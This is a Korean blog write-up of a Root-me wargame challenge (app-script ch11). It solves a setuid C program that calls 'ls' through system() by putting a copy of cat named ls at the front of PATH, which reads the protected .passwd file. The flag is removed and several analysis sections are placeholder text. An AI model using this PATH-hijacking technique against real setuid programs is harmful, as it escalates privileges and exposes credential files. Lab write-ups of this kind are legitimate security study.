728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setreuid(geteuid(), geteuid());
system("ls /challenge/app-script/ch11/.passwd");
return 0;
}
2.2. 분석
ㅁㄴㅇㄹ
3. 취약점 확인 및 공격 준비
3.1. 취약점
ㅁㄴㅇㄹ
3.2. 공격 준비
ㅁㄴㅇㄹ
4. exploit
ㅁㄴㅇㄹ
system 문제 풀다가 format string bug 3에서 막혀서 푸는 다른 문제... ㅠㅠ
script 문제는 hackerschool의 ftz 느낌이 많이 난다.
코드에서 보듯이 ls로 .passwd 파일을 실행시키는데, 간단히 ls 명령어가 cat 명령어를 실행시키게 만들면 된다.
linux system에서는 어느 디렉토리에서도 파일 명만 쓰면 프로그램을 실행할 수 있도록 경로를 지정해두는데, 이는 PATH 환경변수를 참조 한다.
특히 PATH 환경변수 내에서도 앞쪽에 명기된 경로부터 확인하게되기에 같은 명령어라도 먼저 실행될 프로그램을 지정할 수 있다.
그러므로 ls라는 이름을 가진 cat 프로그램을 특정 경로에 만들어두고 그 경로를 PATH에 추가해주되, 기존에 ls 프로그램이 있는 디렉토리보다 앞에 위치시키면 된다.
간단히 아래와 같이 풀었다.
app-script-ch11@challenge02:~$ find / -name ls 2>/dev/null
/bin/ls
/usr/lib/klibc/bin/ls
app-script-ch11@challenge02:~$ find / -name cat 2>/dev/null
/bin/cat
/usr/lib/klibc/bin/cat
app-script-ch11@challenge02:~$ export
declare -x HOME="/challenge/app-script/ch11"
declare -x LANG="en_US.UTF-8"
declare -x LOGNAME="app-script-ch11"
declare -x MAIL="/var/mail/app-script-ch11"
declare -x NODE_PATH="/usr/lib/nodejs:/usr/lib/node_modules:/usr/share/javascript"
declare -x OLDPWD="/challenge/app-script/ch11"
declare -x PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/"
declare -x PWD="/challenge/app-script/ch11"
declare -x PYTHON_EGG_CACHE="/tmp/eggs-app-script-ch11"
declare -x SHELL="/bin/bash"
declare -x SHLVL="1"
declare -x SSH_CLIENT="123.214.38.249 60087 22"
declare -x SSH_CONNECTION="123.214.38.249 60087 192.168.166.152 22"
declare -x SSH_TTY="/dev/pts/0"
declare -x TERM="xterm-256color"
declare -rx TMOUT="7200"
declare -x USER="app-script-ch11"
declare -x XDG_RUNTIME_DIR="/run/user/1311"
declare -x XDG_SESSION_ID="17"
app-script-ch11@challenge02:~$ mkdir /tmp/wv
app-script-ch11@challenge02:~$ cp /bin/cat /tmp/wv/ls
app-script-ch11@challenge02:~$ export PATH="/tmp/wv:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/"
app-script-ch11@challenge02:~$ ./ch11
----------#플래그는 삭제
728x90
반응형
'Wargame > Root me' 카테고리의 다른 글
[Cryptanalysis] Encoding - ASCII (0) | 2022.07.15 |
---|---|
[Cracking] ELF x86 - 0 protection (0) | 2022.07.15 |
[App-System] ELF x86 - Format String Bug Basic 3 (0) | 2022.07.13 |
[App-System] ELF x86 - Stack buffer overflow basic 6 (0) | 2022.07.12 |
[App-System] ELF x86 - Stack buffer overflow basic 4 (0) | 2022.07.11 |